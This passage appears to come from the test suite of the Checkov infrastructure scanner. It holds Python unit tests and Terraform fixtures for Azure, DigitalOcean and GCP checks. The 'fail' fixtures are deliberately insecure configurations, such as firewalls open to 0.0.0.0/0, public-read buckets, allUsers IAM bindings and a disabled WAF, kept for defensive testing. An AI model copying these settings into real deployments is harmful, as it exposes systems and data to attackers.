automatic rolling upgrade automatic_os_upgrade = false upgrade_policy_mode = "Rolling" rolling_upgrade_policy { max_batch_instance_percent = 20 max_unhealthy_instance_percent = 20 max_unhealthy_upgraded_instance_percent = 5 pause_time_between_batches = "PT0S" } # required when using rolling upgrade policy health_probe_id = azurerm_lb_probe.example.id sku { name = "Standard_F2" tier = "Standard" capacity = 2 } storage_profile_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_profile_os_disk { name = "" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "Standard_LRS" } storage_profile_data_disk { lun = 0 caching = "ReadWrite" create_option = "Empty" disk_size_gb = 10 } os_profile { computer_name_prefix = "testvm" admin_username = "myadmin" } os_profile_linux_config { disable_password_authentication = true ssh_keys { path = "/home/myadmin/.ssh/authorized_keys" key_data = file("~/.ssh/demo_key.pub") } } network_profile { name = "terraformnetworkprofile" primary = true ip_configuration { name = "TestIPConfiguration" primary = true subnet_id = azurerm_subnet.example.id load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id] load_balancer_inbound_nat_rules_ids = [azurerm_lb_nat_pool.lbnatpool.id] } } tags = { environment = "staging" } } """) resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure3(self): hcl_res = hcl2.loads(""" resource "azurerm_virtual_machine_scale_set" "example" { name = "mytestscaleset-1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name # automatic rolling upgrade automatic_os_upgrade = true upgrade_policy_mode = "Rolling" rolling_upgrade_policy { max_batch_instance_percent = 20 max_unhealthy_instance_percent = 20 max_unhealthy_upgraded_instance_percent = 5 pause_time_between_batches = "PT0S" } # required when using rolling upgrade policy health_probe_id = azurerm_lb_probe.example.id sku { name = "Standard_F2" tier = "Standard" capacity = 2 } storage_profile_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_profile_os_disk { name = "" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "Standard_LRS" } storage_profile_data_disk { lun = 0 caching = "ReadWrite" create_option = "Empty" disk_size_gb = 10 } os_profile { computer_name_prefix = "testvm" admin_username = "myadmin" } os_profile_linux_config { disable_password_authentication = true ssh_keys { path = "/home/myadmin/.ssh/authorized_keys" key_data = file("~/.ssh/demo_key.pub") } } network_profile { name = "terraformnetworkprofile" primary = true ip_configuration { name = "TestIPConfiguration" primary = true subnet_id = azurerm_subnet.example.id load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id] load_balancer_inbound_nat_rules_ids = [azurerm_lb_nat_pool.lbnatpool.id] } } tags = { environment = "staging" } } """) resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure4(self): hcl_res = hcl2.loads(""" resource "azurerm_virtual_machine_scale_set" "example" { name = "mytestscaleset-1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name # automatic rolling upgrade automatic_os_upgrade = true upgrade_policy_mode = "Rolling" os_profile_windows_config { enable_automatic_upgrades = false } rolling_upgrade_policy { max_batch_instance_percent = 20 max_unhealthy_instance_percent = 20 max_unhealthy_upgraded_instance_percent = 5 pause_time_between_batches = "PT0S" } # required when using rolling upgrade policy health_probe_id = azurerm_lb_probe.example.id sku { name = "Standard_F2" tier = "Standard" capacity = 2 } storage_profile_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_profile_os_disk { name = "" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "Standard_LRS" } storage_profile_data_disk { lun = 0 caching = "ReadWrite" create_option = "Empty" disk_size_gb = 10 } os_profile { computer_name_prefix = "testvm" admin_username = "myadmin" } os_profile_linux_config { disable_password_authentication = true ssh_keys { path = "/home/myadmin/.ssh/authorized_keys" key_data = file("~/.ssh/demo_key.pub") } } network_profile { name = "terraformnetworkprofile" primary = true ip_configuration { name = "TestIPConfiguration" primary = true subnet_id = azurerm_subnet.example.id load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id] load_balancer_inbound_nat_rules_ids = [azurerm_lb_nat_pool.lbnatpool.id] } } tags = { environment = "staging" } } """) resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure5(self): hcl_res = hcl2.loads(""" resource "azurerm_virtual_machine_scale_set" "example" { name = "mytestscaleset-1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name # automatic rolling upgrade upgrade_policy_mode = "Rolling" os_profile_windows_config { enable_automatic_upgrades = false } rolling_upgrade_policy { max_batch_instance_percent = 20 max_unhealthy_instance_percent = 20 max_unhealthy_upgraded_instance_percent = 5 pause_time_between_batches = "PT0S" } # required when using rolling upgrade policy health_probe_id = azurerm_lb_probe.example.id sku { name = "Standard_F2" tier = "Standard" capacity = 2 } storage_profile_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_profile_os_disk { name = "" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "Standard_LRS" } storage_profile_data_disk { lun = 0 caching = "ReadWrite" create_option = "Empty" disk_size_gb = 10 } os_profile { computer_name_prefix = "testvm" admin_username = "myadmin" } os_profile_linux_config { disable_password_authentication = true ssh_keys { path = "/home/myadmin/.ssh/authorized_keys" key_data = file("~/.ssh/demo_key.pub") } } network_profile { name = "terraformnetworkprofile" primary = true ip_configuration { name = "TestIPConfiguration" primary = true subnet_id = azurerm_subnet.example.id load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id] load_balancer_inbound_nat_rules_ids = [azurerm_lb_nat_pool.lbnatpool.id] } } tags = { environment = "staging" } } """) resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_virtual_machine_scale_set" "example" { name = "mytestscaleset-1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name # automatic rolling upgrade automatic_os_upgrade = true upgrade_policy_mode = "Rolling" os_profile_windows_config { enable_automatic_upgrades = true } rolling_upgrade_policy { max_batch_instance_percent = 20 max_unhealthy_instance_percent = 20 max_unhealthy_upgraded_instance_percent = 5 pause_time_between_batches = "PT0S" } # required when using rolling upgrade policy health_probe_id = azurerm_lb_probe.example.id sku { name = "Standard_F2" tier = "Standard" capacity = 2 } storage_profile_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_profile_os_disk { name = "" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "Standard_LRS" } storage_profile_data_disk { lun = 0 caching = "ReadWrite" create_option = "Empty" disk_size_gb = 10 } os_profile { computer_name_prefix = "testvm" admin_username = "myadmin" } os_profile_linux_config { disable_password_authentication = true ssh_keys { path = "/home/myadmin/.ssh/authorized_keys" key_data = file("~/.ssh/demo_key.pub") } } network_profile { name = "terraformnetworkprofile" primary = true ip_configuration { name = "TestIPConfiguration" primary = true subnet_id = azurerm_subnet.example.id load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id] load_balancer_inbound_nat_rules_ids = [azurerm_lb_nat_pool.lbnatpool.id] } } tags = { environment = "staging" } } """) resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VMStorageOsDisk.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.VMStorageOsDisk import check from checkov.terraform.runner import Runner class TestVMStorageOsDisk(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_VMStorageOsDisk" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_windows_virtual_machine.pass", "azurerm_linux_virtual_machine.pass2", } failing_resources = { "azurerm_linux_virtual_machine.fail", "azurerm_windows_virtual_machine.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 4) # 3 unknown self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VnetLocalDNS.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.VnetLocalDNS import check from checkov.terraform.runner import Runner class TestVnetLocalDNS(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_VnetLocalDNS" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_virtual_network.pass", "azurerm_virtual_network.pass2", } failing_resources = { "azurerm_virtual_network.fail", "azurerm_virtual_network.fail2", "azurerm_virtual_network.fail3", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VnetSingleDNSServer.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.VnetSingleDNSServer import check from checkov.terraform.runner import Runner class TestVnetSingleDNSServer(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_VnetSingleDNSServer" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_virtual_network.pass", "azurerm_virtual_network.pass2", "azurerm_virtual_network_dns_servers.pass" } failing_resources = { "azurerm_virtual_network.fail", "azurerm_virtual_network_dns_servers.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_WAFSpecifiedModeAppGW.py ================================================ import unittest import hcl2 from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.azure.AppGWUseWAFMode import check class TestAppGWUseWAFMode(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_web_application_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = false request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_web_application_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = false mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "azurerm_web_application_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = true mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_web_application_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success3(self): hcl_res = hcl2.loads(""" resource "azurerm_web_application_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = true request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success4(self): hcl_res = hcl2.loads(""" resource "azurerm_web_application_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } """) resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_WinVMAutomaticUpdates.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.WinVMAutomaticUpdates import check from checkov.terraform.runner import Runner class TestWinVMAutomaticUpdates(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_WinVMAutomaticUpdates" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_windows_virtual_machine.pass", "azurerm_windows_virtual_machine_scale_set.pass", "azurerm_windows_virtual_machine.missing", "azurerm_windows_virtual_machine_scale_set.missing" } failing_resources = { "azurerm_windows_virtual_machine.fail", "azurerm_windows_virtual_machine_scale_set.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_WinVMEncryptionAtHost.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.WinVMEncryptionAtHost import check from checkov.terraform.runner import Runner class TestWinVMEncryptionAtHost(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_WinVMEncryptionAtHost" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_windows_virtual_machine.pass", } failing_resources = { "azurerm_windows_virtual_machine.fail", "azurerm_windows_virtual_machine.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/digitalocean/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/digitalocean/example_DropletSSHKeys/main.tf ================================================ resource "digitalocean_droplet" "fail" { image = "ubuntu-18-04-x64" name = "web-1" region = "nyc2" size = "s-1vcpu-1gb" } resource "digitalocean_droplet" "pass" { image = "ubuntu-18-04-x64" name = "web-1" region = "nyc2" size = "s-1vcpu-1gb" ssh_keys = [12345, 123456] } ================================================ FILE: tests/terraform/checks/resource/digitalocean/example_FirewallIngressOpen/main.tf ================================================ resource "digitalocean_firewall" "fail" { name = "ssh-from-world" droplet_ids = [digitalocean_droplet.web.id] inbound_rule { protocol = "http" port_range = "80" source_addresses = ["0.0.0.0/0", "::/0"] } } resource "digitalocean_firewall" "pass" { name = "ssh-from-world" droplet_ids = [digitalocean_droplet.web.id] inbound_rule { protocol = "http" port_range = "80" source_addresses = ["10.0.0.0/16"] } } resource "digitalocean_firewall" "droplet" { name = "http-from-droplet" droplet_ids = [digitalocean_droplet.web.id] inbound_rule { protocol = "http" port_range = "80" source_droplet_ids = ["var.cluster_droplet_ids"] } } ================================================ FILE: tests/terraform/checks/resource/digitalocean/example_SpaceBucketPublicRead/main.tf ================================================ resource "digitalocean_spaces_bucket" "fail" { name = "public_space" region = "nyc3" acl = "public-read" } resource "digitalocean_spaces_bucket" "pass" { name = "public_space" region = "nyc3" acl = "private" versioning { enabled = true } } ================================================ FILE: tests/terraform/checks/resource/digitalocean/example_SpaceBucketVersioning/main.tf ================================================ resource "digitalocean_spaces_bucket" "fail" { name = "public_space" region = "nyc3" acl = "public-read" } resource "digitalocean_spaces_bucket" "pass" { name = "public_space" region = "nyc3" acl = "public-read" versioning { enabled = true } } ================================================ FILE: tests/terraform/checks/resource/digitalocean/test_DropletSSHKeys.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.digitalocean.DropletSSHKeys import check from checkov.terraform.runner import Runner class TestDropletSSHKeys(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_DropletSSHKeys" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "digitalocean_droplet.pass", } failing_resources = { "digitalocean_droplet.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/digitalocean/test_FirewallIngressOpen.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.digitalocean.FirewallIngressOpen import check from checkov.terraform.runner import Runner class TestFirewallIngressOpen(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_FirewallIngressOpen" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "digitalocean_firewall.pass", "digitalocean_firewall.droplet", } failing_resources = { "digitalocean_firewall.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/digitalocean/test_SpaceBucketPublicRead.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.digitalocean.SpacesBucketPublicRead import check from checkov.terraform.runner import Runner class TestSpaceBucketVersioning(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SpaceBucketPublicRead" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "digitalocean_spaces_bucket.pass", } failing_resources = { "digitalocean_spaces_bucket.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/digitalocean/test_SpaceBucketVersioning.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.digitalocean.SpacesBucketVersioning import check from checkov.terraform.runner import Runner class TestSpaceBucketVersioning(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SpaceBucketVersioning" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "digitalocean_spaces_bucket.pass", } failing_resources = { "digitalocean_spaces_bucket.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/gcp/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/gcp/example_ArtifactRegistryEncryptedWithCMK/main.tf ================================================ resource "google_artifact_registry_repository" "fail" { provider = google-beta location = "us-central1" repository_id = "my-repository" description = "example docker repository with cmek" format = "DOCKER" # kms_key_name = "kms-key" } resource "google_artifact_registry_repository" "pass" { provider = google-beta location = "us-central1" repository_id = "my-repository" description = "example docker repository with cmek" format = "DOCKER" kms_key_name = google_kms_crypto_key.example.name } ================================================ FILE: tests/terraform/checks/resource/gcp/example_ArtifactRegistryPrivateRepo/main.tf ================================================ ################ ## PASS TESTS ## ################ resource "google_artifact_registry_repository_iam_binding" "pass1" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" members = [ "user:jane@example.com", "group:mygroup@example.com", ] } resource "google_artifact_registry_repository_iam_binding" "pass2" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" members = [ "user:jason@example.com", ] } resource "google_artifact_registry_repository_iam_member" "pass1" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" member = "user:jane@example.com" } resource "google_artifact_registry_repository_iam_member" "pass2" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" member = "domain:example.com" } ################ ## FAIL TESTS ## ################ resource "google_artifact_registry_repository_iam_binding" "fail1" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" members = [ "allAuthenticatedUsers", ] } resource "google_artifact_registry_repository_iam_binding" "fail2" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" members = [ "allUsers", ] } resource "google_artifact_registry_repository_iam_binding" "fail3" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" members = [ "allUsers", "user:jason@example.com", ] } resource "google_artifact_registry_repository_iam_binding" "fail4" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = 